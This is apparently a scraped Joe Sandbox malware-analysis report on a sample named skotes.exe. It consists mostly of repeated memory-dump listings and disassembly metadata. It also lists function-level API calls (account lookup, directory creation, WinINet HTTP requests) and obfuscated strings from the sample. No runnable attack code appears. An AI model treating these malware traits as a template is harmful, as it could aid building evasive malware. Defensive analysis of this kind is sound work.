Associated: 00000001.00000002.1752487767.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752554414.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752573753.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752587620.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752652674.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753004597.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753020044.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753066654.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753083434.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097247.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753367329.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753388348.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753402766.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753446038.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753532099.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753583279.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753678193.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 85ab33dd228ecde567b120bdfb3759a6afbe2ab9741ea01ea850cb6d1028f085
Instruction ID: cda47d63e1a8c6ec73fb5afb9e2ce7f9aa5fcc926613e40d54cd5fe4acb82b3a
Opcode Fuzzy Hash: 85ab33dd228ecde567b120bdfb3759a6afbe2ab9741ea01ea850cb6d1028f085
Instruction Fuzzy Hash: C5215175A40119AFDF04EFA4CC819BFB7BAEF09720F105119FA01B7291DB719D019BA5

Function 0062F35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 0062F3A3

Strings

8"e, xrefs: 0062F44B
`'e, xrefs: 0062F375

Memory Dump Source

Source File: 00000001.00000002.1747730608.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000001.00000002.1747632787.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1747730608.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748358899.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748494253.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1748628378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749810181.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749832061.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749857491.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749903209.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749925246.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749942770.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1749960471.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750022406.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750109271.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750354367.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750378636.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750419129.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750638329.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1750856173.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751165915.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751406455.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1751820207.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752332892.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752406423.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752439672.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752487767.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752554414.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752573753.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752587620.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1752652674.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753004597.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753020044.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753066654.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753083434.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753097247.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753136774.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753367329.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753388348.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753402766.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753446038.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753532099.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753583279.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.1753678193.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"e$`'e
API String ID: 3903695350-2647440560
Opcode ID: 0739625414064321a302ce806620b62dbe40a8b1ed5af7b9e8ebb97ebffe173f
Instruction ID: 9ba7bb5b750b6cd6846220f86bdefed634325c7d7abfe799aea1448b86e91c4a
Opcode Fuzzy Hash: 0739625414064321a302ce806620b62dbe40a8b1ed5af7b9e8ebb97ebffe173f
Instruction Fuzzy Hash: 8F315B31600A21DFEB71AB79E845B9B77FAEF00352F10483DE845D6696DEB0AC808F55

Analysis Process: skotes.exePID: 8064, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	752
Total number of Limit Nodes:	48

Executed Functions

Function 005FE530 Relevance: 25.5, APIs: 2, Strings: 12, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WDw=, xrefs: 005FF71D, 005FF9FA
246122658369, xrefs: 005FF737, 005FFA14, 006005E7, 0060099A
GnNoc2Hc, xrefs: 005FE56C
L1e, xrefs: 005FF7E5
WTw=, xrefs: 0060097D
UA==, xrefs: 005FEB0F, 005FED56
111, xrefs: 005FF7A0
9c9aa5, xrefs: 005FFB8E
#, xrefs: 00600624
MQ==, xrefs: 005FE592
MGE+, xrefs: 005FE821
WTs=, xrefs: 006005CA

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$L1e$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-3134152726
Opcode ID: 4ffdd50632368c1383d66908fe1c0494ddfbed390383d45d094087b3f7c2391e
Instruction ID: 0c9ab016e55299b3c8d934a21ec88317d5195824381e03c6da9968c46015ce02
Opcode Fuzzy Hash: 4ffdd50632368c1383d66908fe1c0494ddfbed390383d45d094087b3f7c2391e
Instruction Fuzzy Hash: 5282A470A0428C9BEF18DF68C9497DE7FB6AF46304F508598E805673C2D7795A88CBD2

Function 005F65E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 005F6680

Strings

ISNmfV==, xrefs: 005F67D1
RySfdMLx, xrefs: 005F669C
GSTmfV==, xrefs: 005F6728

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: 62d90d767e1755bf5f0c41d656ed157a8901a65282da454c1d781caf9122419f
Instruction ID: 831171866a92f310476f312e20017fd91c79e28df4ca4411dac9c1068999d0d3
Opcode Fuzzy Hash: 62d90d767e1755bf5f0c41d656ed157a8901a65282da454c1d781caf9122419f
Instruction Fuzzy Hash: E091A4B1A0011C9BDB28DB24CC85BEDBB79FB45304F4045EDE61997282DB759BC48FA8

Function 005FEB4E Relevance: 31.9, APIs: 3, Strings: 14, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FEB51
CreateDirectoryA.KERNEL32(00000000), ref: 005FEC83
GetFileAttributesA.KERNEL32(00000000), ref: 005FED98

Strings

WDw=, xrefs: 005FF71D, 005FF9FA, 005FFDE3
246122658369, xrefs: 005FF737, 005FFA14, 005FFE00, 006005E7
GiQaT29tduF=, xrefs: 005FFEB6
invalid stoi argument, xrefs: 006008B0
FCQgKF==, xrefs: 005FFEE4
WTs=, xrefs: 006005CA
stoi argument out of range, xrefs: 006008C4
mxo1L0x, xrefs: 005FEE84
FisgLnsCZO1i, xrefs: 005FFF19
L1e, xrefs: 005FF7E5
UA==, xrefs: 005FEC41, 005FED56, 005FEF89, 005FF2CE
111, xrefs: 005FF7A0
9c9aa5, xrefs: 005FFB8E
#, xrefs: 00600624

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022565687.000000000084B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022590581.000000000084C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022616374.0000000000851000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022640775.0000000000852000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022666934.0000000000856000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022693835.000000000085F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022719687.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022744597.0000000000863000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022770088.0000000000865000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022796495.0000000000866000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022822929.000000000086C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022849827.0000000000873000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022873735.0000000000876000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022898803.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.0000000000882000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022923594.00000000008C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022990572.00000000008EE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023016513.00000000008F0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023040874.00000000008F1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023066036.00000000008F5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023089967.00000000008F7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023116615.0000000000906000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3023140518.0000000000907000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$L1e$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2733412654
Opcode ID: a01642d175b4cc2459ee2b55e13981216dbb8c7655380403a55189c849080ba9
Instruction ID: 0a49a44c5e5f75509347ae7632d67512b0dcd25fc5de775269a06e5b6c43eeb1
Opcode Fuzzy Hash: a01642d175b4cc2459ee2b55e13981216dbb8c7655380403a55189c849080ba9
Instruction Fuzzy Hash: 01F23B71A101489BEF1CDB38CD8979E7F73AF85304F14829CE449A73D6DB399A848B91

Function 005FBE30 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,1604218E,?,00000000), ref: 005FBEB8
InternetOpenW.WININET(00648DC8,00000000,00000000,00000000,00000000), ref: 005FBEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 005FBEEB
HttpOpenRequestA.WININET(?,00000000), ref: 005FBF35
HttpSendRequestA.WININET(?,00000000), ref: 005FBFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 005FC0A8
InternetCloseHandle.WININET(?), ref: 005FC187
InternetCloseHandle.WININET(?), ref: 005FC18F
InternetCloseHandle.WININET(?), ref: 005FC197

Strings

8HJUeIfzLo==, xrefs: 005FC3CB, 005FC623
stoi argument out of range, xrefs: 005FE4EA
invalid stoi argument, xrefs: 005FE4F4
8HJUeMD Lq5=, xrefs: 005FC465
RE1NXF==, xrefs: 005FBF0E

Memory Dump Source

Source File: 00000005.00000002.2930637521.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000005.00000002.2928277202.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2930637521.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2936828521.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2943928605.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2948147100.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2970204236.00000000007BE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2975330662.00000000007C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007D8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2982205370.00000000007E4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2995491731.00000000007E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3001582466.00000000007EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3007834533.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3014086404.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022205598.00000000007F8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022273580.00000000007FA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022329206.00000000007FB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022379583.00000000007FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022417362.0000000000816000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022457146.0000000000829000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022487555.0000000000842000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022514251.0000000000846000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3022539387.0000000000847000.00000080.00000001.01000000.00000008.sdmpDownload File
